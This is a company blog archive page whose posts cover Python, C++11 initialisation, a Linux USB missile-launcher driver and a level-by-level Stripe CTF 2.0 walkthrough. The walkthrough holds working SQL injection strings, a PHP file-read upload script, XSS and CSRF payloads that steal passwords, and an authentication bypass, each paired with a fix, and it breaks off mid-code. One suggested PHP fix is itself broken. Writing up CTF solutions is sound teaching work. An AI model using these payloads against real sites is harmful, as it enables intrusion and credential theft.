You are currently browsing the archives for the General category.

Python – The everyman’s language

May 17th, 2013

Python is a very nice language in many respects: enforced white-spacing promotes readability, extensibility and Python’s inbuilt Read-Eval-Print-Loop interpreter combined with its introspection capabilities provides a very easy way to learn and get to grips with the language.

But that can’t be all, can it? Why Python?

One of the reasons behind the success of our course has been customers wanting a good language for developing automated testing scripts and Python fits the bill brilliantly – it’s fast (enough), approachable and has great support for the embedded platforms of today and tomorrow (read: Linux  :) )

In the scripting ring we have a number of contenders – Bash, Perl, Ruby, Lua, Javascript but each lacks that certain je ne sais quoi that makes Python so good – or maybe it’s just that the others don’t quite do what I want; Perl has a syntax that makes me want to scratch my eyes out, Bash is great on the command line but has control structures and compatibility issues that make the baby Jesus cry but some of the others are worth a look.

Lua is nice, I’m honestly a fan of Lua and have used it in previous projects where Python was just too big to embed (adding in Lua is a ‘tiny’ 400kb) but that’s the issue – Python is a general programming language – I can quickly bring in web services, advanced numerical libraries, GUIs and scientific libraries as well as the built-in things like networking and threading but Lua just simply isn’t designed for the vast contexts that Python fits and that’s part of Lua’s design – it’s not a general scripting language.

JavaScript is the in-vogue scripting language of the moment; it’s easy to test and develop in the web browser and it has a C style language that can appeal but I worry about any language where I can type in the following and not have it shout an error at me…

[nick@zeus ~]$ gjs
gjs> +((+!![]+[])+(!+[]+!![]))
12

12? of course it is. Go home JavaScript. You’re drunk.

I am seeing more and more interest in using JavaScript in the embedded space, one recent example being the new Beaglebone Black, which allows you to interact with the hardware using JavaScript and a Node.JS back-end.  JavaScript, though, it is still too tied to web technologies and less as a general system scripting language.

Ruby… well, I just simply haven’t found a good resource for learning about Ruby in the embedded space – that one is on me, sorry but maybe I was just scared by the famous Wat talk (here’s looking at you too JavaScript).

Problem?

One thing that does let down Python, in my opinion, is the lack of a good developer environment. I appreciate that Python is easy to use and the interactivity is a massive boon but showing IDLE to someone who has used Visual Studio and all it’s spoon feeding goodness does make me a little sad.

IDLE

Approachable huh?

Line numbers? Stability? A carat that will allow you to type when you misclick? – why do you need those when you can have… Detachable Menus!
It’s easy to make fun but IDLE seems un-maintained and could do with some TLC but it’s still useful as a learning tool to bridge the gap between Visual Studio and the command line.  On the plus side, the debugger does bring some good insight into the operation of the code for first-timers.

Summary

Whenever I need to script something, mock up an interface, test a design, develop some back-end code or create a full application – Python is always there for me.
Python’s versatility, compatibility and ‘kitchen sink’ approach make Python a fantastic choice for almost everyone, from non-programmers through to the physicists at CERN using it to create black holes.  It truly is the everyman’s (and woman’s) language.

So why not learn something new?

[nick@zeus ~]$ python
Python 2.7.3 (default, Aug 9 2012, 17:23:58)
[GCC 4.7.1 20120720 (Red Hat 4.7.1-5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import antigravity

Default construction and initialisation in C++11

November 22nd, 2012

Default constructors

In C++ if you don’t provide a constructor for the class the compiler provides one for you (that does nothing):

image

This, of course, isn’t very useful so typically we write our own constructors to initialise the attributes of our class.  However, as soon as you write a (non-default) constructor the compiler stops providing the default constructor:

image

The normal solution is to write our own default constructor.  In C++11 there is syntax to allow you to explicitly create the compiler-supplied constructor without having to write the definition yourself:

image

So far, this doesn’t seem to have gained us very much; if anything it feels like syntax for the sake of it.

 

Non-static member initialisation

C++ has, for some time, allowed initialisation of static member variables in the class declaration.

image

This was allowed because the static member is allocated at compile time.  C++11 has extended this notation to include non-static members as well:

image

What this syntax means is: in the absence of any other initialisation the value of data should be set to 100.  This is, in essence, a little bit of syntactic sugar around the MIL to save you having to write the following:

image

Putting it all together

Combining non-static member initialisation with default constructors allows us to write code like this:

image

There are possibly two ways to view this:  either it’s a new (and uncomfortable) syntax to learn that just adds more variety (and confusion) to the language; or that C++’s default initialisation was ‘broken’ (and we learned to compensate) and this is the syntax that should have always have been.

I Dream of a Cheeky Missile Launcher

October 12th, 2012

I read a blog post by Matthias Vallentin a while back about getting a USB missile launcher working and thought that a similar gadget would be a nice candidate for the 2012 refresh of our successful EL503 Developing for Embedded Linux course so ordered a nice looking piece of hardware from Amazon – the Thunder Missile Launcher from Dream Cheeky.

Sadly these guys don’t provide Linux drivers and the hardware wasn’t an exact match for the launcher used in Matthias’ article so I had to do a bit of research.

Normally it would be a case of firing up my Windows partition and using a USB Sniffer but I didn’t want to shutdown my system as I was in the middle of quite a few projects so I hit the net and stumbled across the Retaliation project which used the Thunder Launcher to punish people who broke a CI build and a blog piece by Nathan Milford which had the requisite USB command codes but had programs that leveraged libUSB from userspace.

So now I knew what I had to feed my launcher and had some good resources on Linux USB[1] [2] [3] now I could start!

Echoing Matthias’ steps – I created a simple core driver that would print info out in the probe

/* Rocket launcher specifics */
#define LAUNCHER_VENDOR_ID 0x2123
#define LAUNCHER_PRODUCT_ID 0x1010
#define LAUNCHER_NODE "launcher"

static struct usb_class_driver class;

/* Table of devices that work with this driver */
static struct usb_device_id launcher_table[] =
{
{ USB_DEVICE(LAUNCHER_VENDOR_ID, LAUNCHER_PRODUCT_ID) },
{} /* Terminating entry */
};
MODULE_DEVICE_TABLE (usb, launcher_table);

static struct usb_driver launcher_driver =
{
.name = "launcher_driver",
.id_table = launcher_table,
};

static int launcher_open(struct inode *inodep, struct file *filp)
{
int retval = 0
pr_debug("launcher_open\n");
/* Save our object in the file's private structure. */
/* filp->private_data = dev; */
return retval;
}

static int launcher_close(struct inode *inodep, struct file *filp)
{
int retval = 0;
pr_debug("launcher_close\n");
/* We can get private data from filp->private_data; */
return retval;
}

static ssize_t launcher_read(struct file *f, char __user *buf, size_t cnt,
loff_t *off)
{
int retval = -EFAULT;
pr_debug("launcher_read\n");
return retval;
}

static ssize_t launcher_write(struct file *filp, const char __user *user_buf,
size_t count, loff_t *off)
{
int retval = -EFAULT;
pr_debug("launcher_write\n");
/* We can get private data from filp->private_data; */
return retval;
}

static struct file_operations fops =
{
.open = launcher_open,
.release = launcher_close,
.read = launcher_read,
.write = launcher_write,
};

static int launcher_probe(struct usb_interface *interface, const struct usb_device_id *id)
{
struct usb_device *udev = interface_to_usbdev(interface);
struct usb_host_interface *iface_desc;
int retval = -ENODEV;

pr_debug("launcher_probe\n");

/* Set up our class */
class.name = LAUNCHER_NODE"%d";
class.fops = &fops;

if ((retval = usb_register_dev(interface, &class)) minor);
}
/* This will be our private interface device data instead of NULL eventually */
/* usb_set_intfdata(interface, NULL); */
return retval;
}

static void launcher_disconnect(struct usb_interface *interface)
{
pr_debug("launcher_disconnect\n");
/* Give back our minor. */
usb_deregister_dev(interface, &class);
}

static int __init launcher_init(void)
{
int result;
pr_debug("launcher_disconnect\n");

/* Wire up our probe/disconnect */
launcher_driver.probe = launcher_probe;
launcher_driver.disconnect = launcher_disconnect;

/* Register this driver with the USB subsystem */
if ((result = usb_register(&launcher_driver))) {
pr_err("usb_register() failed. Error number %d", result);
}
return result;
}

static void __exit launcher_exit(void)
{
/* Deregister this driver with the USB subsystem */
usb_deregister(&launcher_driver);
}

module_init(launcher_init);
module_exit(launcher_exit);

I compiled this with the makefile, inserted the module and saw that my init call had successfully been called so I popped the launchers USB into my laptop and…. nothing.

I checked dmesg and saw it had been claimed by hid-generic, part of the usbhid module on my laptop!


[205211.636201] usb 2-1.2: >USB disconnect, device number 23
[205214.371289] usb 2-1.2: >new low-speed USB device number 24 using ehci_hcd
[205214.462969] usb 2-1.2: >New USB device found, idVendor=2123, idProduct=1010
[205214.462979] usb 2-1.2: >New USB device strings: Mfr=1, Product=2, SerialNumber=0
[205214.462985] usb 2-1.2: >Product: USB Missile Launcher
[205214.462990] usb 2-1.2: >Manufacturer: Syntek
[205214.468668] hid-generic 0003:2123:1010.000B: >hiddev0,hidraw0: USB HID v1.10 Device [Syntek USB Missile Launcher] on usb-0000:00:1d.0-1.2/input0

To get hidusb to release it, you can tell it to unbind using sysfs.


[nick@slimtop ~]$ ls /sys/bus/usb/drivers/usbhid/
2-1.2:1.0 bind module new_id remove_id uevent unbind
^^^ Our address
[nick@slimtop ~] sudo sh -c 'echo 2-1.2:1.0 > /sys/bus/usb/drivers/usbhid/unbind'
[nick@slimtop ~]$ ls
bind module new_id remove_id uevent unbind

To get it to bind to our driver we would have to poke it manually

[nick@slimtop ~]$ sudo sh -c 'echo "2-1.2:1.0" > /sys/bus/usb/drivers/launcher_driver/bind'

Checking dmesg again showed that the probe function had been called and we had our /dev/launcher0!

I now needed to update the information expected by the driver. The original launcher used by Matthias’ had different codes for most of the commmands so using the userspace information we could update the command codes and tweak the control codes.

#define LAUNCHER_NODE "launcher"
#define LAUNCHER_CTRL_BUFFER_SIZE 8
#define LAUNCHER_CTRL_REQUEST_TYPE 0x21
#define LAUNCHER_CTRL_REQUEST 0x09
#define LAUNCHER_CTRL_VALUE 0x0
#define LAUNCHER_CTRL_INDEX 0x0
#define LAUNCHER_CTRL_COMMAND_PREFIX 0x02

#define LAUNCHER_STOP 0x20
#define LAUNCHER_UP 0x02
#define LAUNCHER_DOWN 0x01
#define LAUNCHER_LEFT 0x04
#define LAUNCHER_RIGHT 0x08
#define LAUNCHER_UP_LEFT (LAUNCHER_UP | LAUNCHER_LEFT)
#define LAUNCHER_DOWN_LEFT (LAUNCHER_DOWN | LAUNCHER_LEFT)
#define LAUNCHER_UP_RIGHT (LAUNCHER_UP | LAUNCHER_RIGHT)
#define LAUNCHER_DOWN_RIGHT (LAUNCHER_DOWN | LAUNCHER_RIGHT)
#define LAUNCHER_FIRE 0x10

Our USB command code takes the form of:
REQUEST_TYPE | REQUEST | VALUE | INDEX | DATA
where DATA is an 8 byte buffer with the first set to 0×8, our COMMAND_PREFIX.

For example, to send a fire command (0×10) we would use a usb_control_msg like this

int usb_control_msg ( struct usb_device *dev,
unsigned int pipe,
0x09, // Request
0x21, // Request Type
0x0, // Value
0x0, // Index
&buffer, // Buffer
sizeof(buffer), // Length of buffer
int timeout);

where buffer would be a blank char buffer of 8 bytes with the first and second bytes set to the COMMAND_PREFIX and command code respectively which you can see in this snipped from our launcher_write() function

...
if (copy_from_user(&cmd, user_buf, count)) {
retval = -EFAULT;
goto unlock_exit;
}

/* Prepare the buffer, noting the prefix */
memset(&buf, 0, sizeof(buf));
buf[0] = LAUNCHER_CTRL_COMMAND_PREFIX;
buf[1] = cmd;

/* The interrupt-in-endpoint handler also modifies dev->command. */
spin_lock(&dev->cmd_spinlock);
dev->command = cmd;
spin_unlock(&dev->cmd_spinlock);

pr_debug("Sending usb_control_message()\n");
retval = usb_control_msg(dev->udev,
usb_sndctrlpipe(dev->udev, 0),
LAUNCHER_CTRL_REQUEST,
LAUNCHER_CTRL_REQUEST_TYPE,
LAUNCHER_CTRL_VALUE,
LAUNCHER_CTRL_INDEX,
&buf,
sizeof(buf),
HZ*5);
...

I won’t cover too much on the USB code as it is covered in far more depth in Matthias’ article and Greg KHs usb-skeleton.c in the kernel source tree.

To control our driver, we can send bytes from userspace to the /dev/launcher0 entry and I was able to repurpose Matthias’ launcher program to send the correct command codes to the device which I have added to the Git repository. When you create the executable and module using make, and assuming you have the right libraries, you will have a launcher_driver.ko and a launcher_control executable.

Insert the kernel module using insmod ./launcher_driver.ko and you can then start issuing commands to the launcher.

Unfortunately by default, the device node /dev/launcher0 is created as root:root with permission 0600 which means that you can either chmod/chgrp it or run the launcher as root(!) which is the simplest test:

sudo ./launcher_control -f

usbhid and the Handsy Driver

As we’ve looked at, usbhid tries to claim our device by default due to it looking like a Human Interface Device and I had to do a fair amount of digging to find out how to stop usbhid from claiming our device which I’ll recap for those who seek enlightenment.

If you look in the source code for /drivers/usb/usbhid/hid-quirks.c we can see a structure that defines a blacklist of HID devices.

static const struct hid_blacklist {
__u16 idVendor;
__u16 idProduct;
__u32 quirks;
} hid_blacklist[] = {
{ USB_VENDOR_ID_AASHIMA, USB_DEVICE_ID_AASHIMA_GAMEPAD, HID_QUIRK_BADPAD },
{ USB_VENDOR_ID_AASHIMA, USB_DEVICE_ID_AASHIMA_PREDATOR, HID_QUIRK_BADPAD },
{ USB_VENDOR_ID_ALPS, USB_DEVICE_ID_IBM_GAMEPAD, HID_QUIRK_BADPAD },
...
{ USB_VENDOR_ID_WISEGROUP_LTD2, USB_DEVICE_ID_SMARTJOY_DUAL_PLUS, HID_QUIRK_NOGET | HID_QUIRK_MULTI_INPUT },
...

This shows a format of VENDOR_ID, DEVICE_ID and the HID_QUIRK mode which can be multiple values OR’d together and if we look further down the source, we can see the following function:

int usbhid_quirks_init(char **quirks_param)
{
u16 idVendor, idProduct;
u32 quirks;
int n = 0, m;
for (; n < MAX_USBHID_BOOT_QUIRKS && quirks_param[n]; n++) {
m = sscanf(quirks_param[n], "0x%hx:0x%hx:0x%x",
&idVendor, &idProduct, &quirks);
if (m != 3 ||
usbhid_modify_dquirk(idVendor, idProduct, quirks) != 0) {
printk(KERN_WARNING
"Could not parse HID quirk module param %s\n",
quirks_param[n]);
}
}
return 0;
}

Which is an array passed in from hid-core.c in the following snippet:

/* Quirks specified at module load time */
static char *quirks_param[MAX_USBHID_BOOT_QUIRKS] = { [ 0 ... (MAX_USBHID_BOOT_QUIRKS - 1) ] = NULL };
module_param_array_named(quirks, quirks_param, charp, NULL, 0444);
MODULE_PARM_DESC(quirks, "Add/modify USB HID quirks by specifying "
" quirks=vendorID:productID:quirks"
" where vendorID, productID, and quirks are all in"
" 0x-prefixed hex");

This shows us that the quirk param values are read in the form of 0xVENDORID:0xPRODUCTID:0xQUIRKS so now we know how to get usbhid to use a quirk for our device, we need to know which one.

Defined in include/linux/hid.h are our quirks, we want to tell usbhid to just leave it alone so we’re going to use HID_QUIRK_IGNORE which has the value of 0×04.

Once we have this information we should be able to modprobe -r usbhid && modprobe usbhid quirks=0×2123:0×1010:0×04 … except that we can’t remove the module on our Fedora system…

[nick@slimtop ~]$ modprobe -r usbhid
FATAL: Module usbhid is builtin.

Oh dear. This means that the usbhid module isn’t loaded at runtime, instead it has been built into the kernel so we can’t change it from userspace as the kernel, with usbhid, is already running before the filesystem has been mounted so we will need to pass the parameter to the kernel in the form:
module.parameter=OPTIONS.
To do this, I edited my kernel command in /boot/grub2/grub.cfg to tell the builtin module about our device and add it to the quirks list.


...
echo 'Loading Fedora (3.6.2-4.fc17.i686)'
linux /vmlinuz-3.6.2-4.fc17.i686 root=/dev/mapper/vg_slimtop-lv_root ro rd.md=0 rd.dm=0 rd.lvm.lv=vg_slimtop/lv_root SYSFONT=True usbhid.quirks=0x2123:0x1010:0x04 KEYTABLE=uk rd.luks=0 rd.lvm.lv=vg_slimtop/lv_swap LANG=en_US.UTF-8 rhgb quiet
...

Finally, we can get our kernel module to load automatically by copying our launcher_driver.ko into the /lib/modules/`uname -r`/ directory and running depmod -a.

On rebooting, you should be able to insert your launcher and up will pop a /dev/launcher0 without usbhid getting handsy with it.

udev

udev is the device manager for the Linux kernel. Primarily, it manages device nodes in /dev so we’re going to use that to manipulate the creation of our /dev/launcher0 entry.

There is a lot of information spread over the net on udev but it’s sometimes out of date and no longer relevant. It’s best to ask questions in IRC, copy existing rules (see /usr/lib/udev/rules.d/*) or just read the source to get the most up-to-date information.

To avoid having to run our launcher as root we can create a special rule for udev[1] to manipulate how the node is created. To do this you will need to create a new file in /etc/udev/rules.d/10-dreamcheeky.rules containing the following:


KERNEL=="launcher?*",MODE="0666",GROUP="wheel"

This tells udev that we want any events from the KERNEL that match /dev/”launcher?*” which is what our driver requests (the regular expression matches any number after our launcher string, such as 1,2,3 etc).
When that event KEY has been matched, we apply the two ASSIGN values which specify the permissions mode, 0666 or rw-rw-rw-, and that it should belong to the wheel group.

To test our rule, we need to know how udev sees our USB device so we do the following:

[nick@slimtop ~]$ find /sys/devices/ -name launcher0
/sys/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0

To test our udev rule we run udevadm test as follows against our device path

[nick@slimtop rules.d]$ sudo udevadm test /sys/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0
run_command: calling: test
adm_test: version 182
This program is for debugging only, it does not run any program,
specified by a RUN key. It may show incorrect results, because
some values may be different, or not available at a simulation run.

builtin_kmod_init: load module index
...
parse_file: reading '/etc/udev/rules.d/10-dreamcheeky.rules' as rules file <--- OUR RULES FILE
...
parse_file: reading '/usr/lib/udev/rules.d/99-systemd.rules' as rules file
udev_rules_new: rules use 249228 bytes tokens (20769 * 12 bytes), 42425 bytes buffer
udev_rules_new: temporary index used 76720 bytes (3836 * 20 bytes)
udev_device_new_from_syspath: device 0xb9009810 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0'
udev_device_new_from_syspath: device 0xb9009b00 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0'
udev_device_read_db: device 0xb9009b00 filled with db file data
udev_rules_apply_to_event: GROUP 10 /etc/udev/rules.d/10-dreamcheeky.rules:1
udev_rules_apply_to_event: MODE 0666 /etc/udev/rules.d/10-dreamcheeky.rules:1
udev_device_new_from_syspath: device 0xb901a540 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0'
udev_device_new_from_syspath: device 0xb901a088 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2'
udev_device_new_from_syspath: device 0xb90239b0 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2/2-1'
udev_device_new_from_syspath: device 0xb9023cb0 has devpath '/devices/pci0000:00/0000:00:1d.0/usb2'
udev_device_new_from_syspath: device 0xb9024000 has devpath '/devices/pci0000:00/0000:00:1d.0'
udev_device_new_from_syspath: device 0xb901f220 has devpath '/devices/pci0000:00'
udev_device_read_db: no db file to read /run/udev/data/+usb:2-1.2:1.0: No such file or directory
udev_node_add: handling device node '/dev/launcher0', devnum=c180:0, mode=0666, uid=0, gid=10
node_fixup: preserve permissions /dev/launcher0, 020666, uid=0, gid=10
node_symlink: preserve already existing symlink '/dev/char/180:0' to '../launcher0'
udev_device_update_db: created empty file '/run/udev/data/c180:0' for '/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0'
ACTION=add
DEVNAME=/dev/launcher0
DEVPATH=/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.2/2-1.2:1.0/usbmisc/launcher0
MAJOR=180
MINOR=0
SUBSYSTEM=usbmisc
UDEV_LOG=6
USEC_INITIALIZED=684838211
builtin_kmod_exit: unload module index

That’s it – you should be able to remove/insert your USB device and have /dev/launcher0 show up with the permissions and group you chose.

Conclusion

This has been a very long blog article but I hope this is helpful and serves to tie together a lot of good resources that seem spread thinly across the net so have fun and experiment!

The code for the userspace and driver is available on our Feabhas Github at https://github.com/feabhas/dreamlauncher with a single Makefile to build both projects.

I built this on Fedora 17 so your mileage may vary depending on your distribution/environment.

[1] Special thanks go to the #udev IRC channel on freenode (in particular the user falconindy) and these two resource pages:

Capturing the Stripe-d Flag 2.0 – The After Party

August 30th, 2012

Following on from our previous article looking at Stripe’s Capture the Flag 2.0 challenge, Team Feabhas cracked the last of the levels and its members should hopefully be receiving their complementary t-shirts soon.

It has proven to be a popular article with lots of people coming to the blog for solutions and walk-through, and now that the competition has finished we have decided to share the way we approached each of these levels, their solution and the way in which the attack vector can be mitigated.

Level 0

The Brief

We are told that the key to level 1 is stored in the database and we have to ‘crack’ it. Looking at the code we can see that it holds data in a key|value pair but we don’t know the key so we can’t get the value.

app.post('/*', function(req, res) {
        var namespace = req.body['namespace'];
        var secret_name = req.body['secret_name'];
        var secret_value = req.body['secret_value'];

        var query = 'INSERT INTO secrets (key, secret) VALUES (? || "." || ?, ?)';
        db.run(query, namespace, secret_name, secret_value, function(err) {
                if (err) throw err;
                res.header('Content-Type', 'text/html');
                res.redirect(req.path + '?namespace=' + namespace);
         });
});

The Hack

The code provided lists the following function:

app.get('/*', function(req, res) {
  var namespace = req.param('namespace');

  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {
             if (err) throw err;

             renderPage(res, {namespace: namespace, secrets: secrets});
           });
  } else {
    renderPage(res, {});
  }
});

When you request this page by performing a GET operation, the SQL query
SELECT * FROM secrets WHERE key LIKE ? || ".%"
is performed. The ? after LIKE in the query is the placeholder for the user submitted data which isn’t sanitised at all. The trick to overcoming this is to use the ‘%’ character as the namespace value which is a MySQL wildcard for pattern matching which turns our statement into:
SELECT * FROM secrets WHERE key LIKE % || ".%"
This has the effect of telling the database to return all key pairs in the database – including the key to level 1.

One of the things to note is that the hack needs to be performed either from the text input box on the page, or from a tool such as cURL

The Fix

Never trust data from the client. This would’ve been fixed by limiting the type of data allowed to be submitted and sanitising it before execution.

Level 1

The Brief

We’re told that this machine is secure and we’ll have to try all possibilities but something is off with the code.

The Hack

The code is provided in the form of a PHP file which features the following snippet:

<?php
	$filename = 'secret-combination.txt';
	extract($_GET);
	if (isset($attempt)) {
		$combination = trim(file_get_contents($filename));
		if ($attempt === $combination) {
			echo " $next<p>How did you know the secret combination was" . " $combination!? $next</p>";
			$next = file_get_contents('level02-password.txt');
			echo " $next<p>You've earned the password to the access Level 2:" . " $next</p>";
		} else {
		  	echo " $next<p>Incorrect! The secret combination is not $attempt $next</p>";
		}
	}
?>

What happens here is that the password submitted is tested against a value read in from $filename using the function file_get_contents which will read the given file into a string but if the call is unsuccessful it will simply return an empty string.

If we look at the extract() function, we can see it extracts variables into the variable namespace, overriding any existing ones. Note that $filename is declared, then extract() is called and then it is used.

By combining these things, we can override the value $filename to a non-existent file to get a comparison between two empty strings. To use this we simply visit: https://level01-2.stripe-ctf.com/user-USERNAME/?attempt=&filename=

The Fix

Again, don’t trust data from users! Using extract into the current symbol table means your variables can be overwritten – especially on $_GET variables that can be submitted by users. For any web API, you should know what parameters are expected and to check for those explicitly.

A safer way to code this would have been:

<?php
$filename = 'secret-combination.txt'; if (isset($_GET['attempt'])) { $combination = trim(file_get_contents($filename)); if ($attempt === $combination) { echo " $next<p>How did you know the secret combination was" . " $combination!? $next</p>"; next = file_get_contents('level02-password.txt');
echo " $next<p>You've earned the password to the access Level 2:" . " $next</p>"; } else { echo " $next<p>Incorrect! The secret combination is not $attempt $next</p>";
} } ?>

Level 2

The Brief

We’re given access to Stripe’s Social Network “which are all the rage” and told to fill in our profile picture and that there’s a file called password.txt that contains the password for level 3.

The Hack

Again, we’re provided with the source code that shows that we can upload an arbitrary file to the /uploads directory! Oh dear.
The hack here is to upload a simple PHP script, which we’ll call foo.php, that contains the following

<?php
	echo "Password is: " . file_get_contents("../password.txt");
?>

and then visit https://level02-4.stripe-ctf.com/user-USERNAME/uploads/foo.php to see the password for level 3. The ability to upload our own scripts is a useful ability… one that is used later one to good effect!

The Fix

Check what gets uploaded by your users. You can discard any file types that aren’t acceptable as well as forbidding access to scripts in the uploads directory.
There are various examples of scripts that will perform some kind of sanity check on uploaded files. A simple search for php validate image upload will provide plenty of examples to use as a starting point.

Level 3

The Brief

We’re told that the new storage mechanism uses a human login and that user ‘bob’ holds the password for level 3.

The Hack

This is another case of SQL injection. In this case the offending line is the query string

    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
    cursor.execute(query)

    res = cursor.fetchone()
    if not res:
        return "There's no such user {0}!\n".format(username)
    user_id, password_hash, salt = res

    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

We can see that we can tag on some SQL of our own in this scenario, in this case we want to make use of SQLs UNION statement.

UNION allows you to combine two or more result sets from multiple tables together. We’re going to use this to turn the statement into the following (note that {0} is replaced with our injection string):

SELECT id, password_hash, salt FROM users WHERE username = 'NULL' UNION SELECT id, HASH_WE_KNOW, SALT_WE_KNOW FROM users WHERE username = 'bob' -- LIMIT 1"

The bold text is the string we’re going to insert, the -- at the end is used to comment out the LIMIT 1 part of the query.

So we have the query string but we need to get our hash and salt so we can complete it. The sample above featured the line:


    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

We can simply use our python interpreter to do the hard work for us to generate the requisite hexdigest from a password of ‘xx’ and a salt of ‘x’ to keep things simple:

[nick@slimtop ~]$ python
Python 2.7.3 (default, Jul 24 2012, 10:05:39) 
[GCC 4.7.0 20120507 (Red Hat 4.7.0-5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> print hashlib.sha256('xx' + 'x').hexdigest()
cd2eb0837c9b4c962c22d2ff8b5441b7b45805887f051d39bf133b583baf6860

All that’s left is to enter the query string NULL' UNION SELECT id, 'cd2eb0837c9b4c962c22d2ff8b5441b7b45805887f051d39bf133b583baf6860', 'x' FROM users WHERE username = 'bob' -- as the username and set our password to be ‘xx’ and in we go.

The Fix

This is a far more complex fix to implement, as one really has to think like a cracker however, a good starting point would be
The SQL Injection Prevention Cheat Sheet from the Open Web Application Security Project

Level 4

The Brief

We’re told about a piece of software called Karma Trader that allows people to reward others with karma for good deeds – the caveat being that

In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.

The Hack

The presence of the jQuery library is a good indicator that we’re going to be doing something untoward using it. The hack here is a very simple XSS exploit to make use of the fact that our password will be shown to people we transfer karma to. We simply set our password to be a piece of jQuery code that will use the jQuery.post() function to send some karma to our user naughty_man

So we create our account as naughty_man with the password of <script>$.post("transfer", {to: "naughty_man", amount: "50"} )</script> and send some karma to karma_trader.
When she next logs in, she will unknowingly execute our script which will send us some karma and her password for the next level.

The Fix

As before – the primary concept is not to trust any input that comes from the user. The input fields should be URL encoded and escaped to ensure that they are safe. Again, The SQL Injection Prevention Cheat Sheet from the Open Web Application Security Project provides a good starting point.

Level 5

The Brief

We’re told about a new type of federated identity system where you provide a username, password and pingback URL where a simple “AUTHENTICATED” or “DENIED” is posted to the pingback location.
We’re also informed that we will need to authenticate as a user of level 5 and that it can only make outbound requests to other stripe-ctf.com servers.

Interestingly, we’re told that someone forgot to firewall off the high ports from the Level 2 server.

The Hack

There are two parts to this hack, get authenticated at a lower level and then pingback to gain authentication at level 5.
To accomplish the first part, we need to get a stripe-ctf.com server to provide us with an ‘AUTHENTICATED’ string, Fortunately for us, we still have access to level 2!

Looking at the code, we can see the regex that is used to authenticate:

	def authenticated?(body)
		body =~ /[^\w]AUTHENTICATED[^\w]*$/
	end

We simply upload a script, stripe_auth.php, to print that string out:

<?php
print " AUTHENTICATED \n"; /* Note the spaces either side are matched for! */
?>

We can then specify this location as our pingback URL to gain initial authentication at level 2 – http://level02-2.stripe-ctf.com/user-USERNAME/uploads/stripe_auth.php

The second part required a bit of lateral thinking – reading our logged in page we can see it says:

You are authenticated as hacker@level02-2.stripe-ctf.com

The word authenticated here is enough to say we’re authenticated as level 5! – To use it we just tell it to use itself by specifying a pingback URL of:
https://level05-1.stripe-ctf.com/user-USERNAME/?pingback=http://level02-2.stripe-ctf.com/user-USERNAME/uploads/stripe_auth.php

This provides us with the password for our next level!

The Fix

Once again – we should not trust any input provided by the user. If we are going to allow some kind of authentication server, then we need to be able to trust the remote server. Taking it on the word of a user is not good enough!

We should either have a hard coded list of servers that we trust, or implement some kind of trust mechanism – such as public key cryptography

Also, the fatal flaw in the design was to include the keyword for authentication within the level 5 server output.

Level 6

The Brief

We’re told that after the catastrophe of level 4 the Karma Trader was shutdown but a new service, Streamer, was created. The security of this app has been beefed up and the password of the first user contains double quotes and apostrophes to complicate things… but that it’s also the password to level 7

The Hack

Looking through the source code for Streamer for these so-called precautions we come across the following lines of code:

   def self.safe_insert(table, key_values)
      key_values.each do |key, value|
        # Just in case people try to exfiltrate
        # level07-password-holder's password
        if value.kind_of?(String) &&
            (value.include?('"') || value.include?("'"))
          raise "Value has unsafe characters"
        end
      end

This forbids any insertion of values containing either an apostrophe ‘ or double quote ” – Very important!

To explore the site a bit more, we create an account and have a look at how the posts are stored and manipulated. In the HTML we see the following:

<script>
      var username = "naughty_man";
      var post_data = [{"time":"Fri Aug 24 19:54:42 +0000 2012","title":"Hello World","user":"level07-password-holder","id":null,"body":"Welcome to Streamer, the most streamlined way of sharing\nupdates with your friends!\n\nOne great feature of Streamer is that no password resets are needed. I, for\nexample, have a very complicated password (including apostrophes, quotes, you\nname it!). But I remember it by clicking my name on the right-hand side and\nseeing what my password is.\n\nNote also that Streamer can run entirely within your corporate firewall. My\nmachine, for example, can only talk directly to the Streamer server itself!"}];
       function escapeHTML(val) {
        return $('
').text(val).html(); } function addPost(item) { var new_element = '<tr><th>' + escapeHTML(item['user']) + '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' + escapeHTML(item['body']) + '</td></tr>'; $('#posts > tbody:last').prepend(new_element); } for(var i = 0; i < post_data.length; i++) { var item = post_data[i]; addPost(item); }; </script>

So interestingly, we can see that the posts are stored in a way that can be maliciously escaped with an errant </script> tag – we can test it by posting </script><script>alert(0);</script> and checking that the alert window is visible after a refreshing the browser window – success.

What we want to do is read in the contents of ‘user_info’ that we can see holds the current users password and make sure that we don’t use any single or double quote characters as submitting these is not allowed – quite the challenge.

Fortunately for us, we can use jQuery.get() to retrieve a page for us and we can also force the browser to then submit this page (or the last 180 characters of it) in the form provided without any user intervention – This type of attack is called a Cross Site Request Forgery.

What we will do is:

// Get the page 'user_info' into a string with the jQuery function
$.get('user_info'), function(data){
	// Remove all of the string apart from the last 180 characters to keep it short
	data = data.substr(data.length - 180);
	// Replace any double quotes with the text 
	data = data.replace('\"','<DOUBLE>');
	// Replace any single quotes with the text 
	data = data.replace('\'','<SINGLE>'); 
	// We know there's only one form so set it's value to be our data
	document.forms[0].content.value = data;
	// We know there's only one form so 'click' submit on the first form of the document
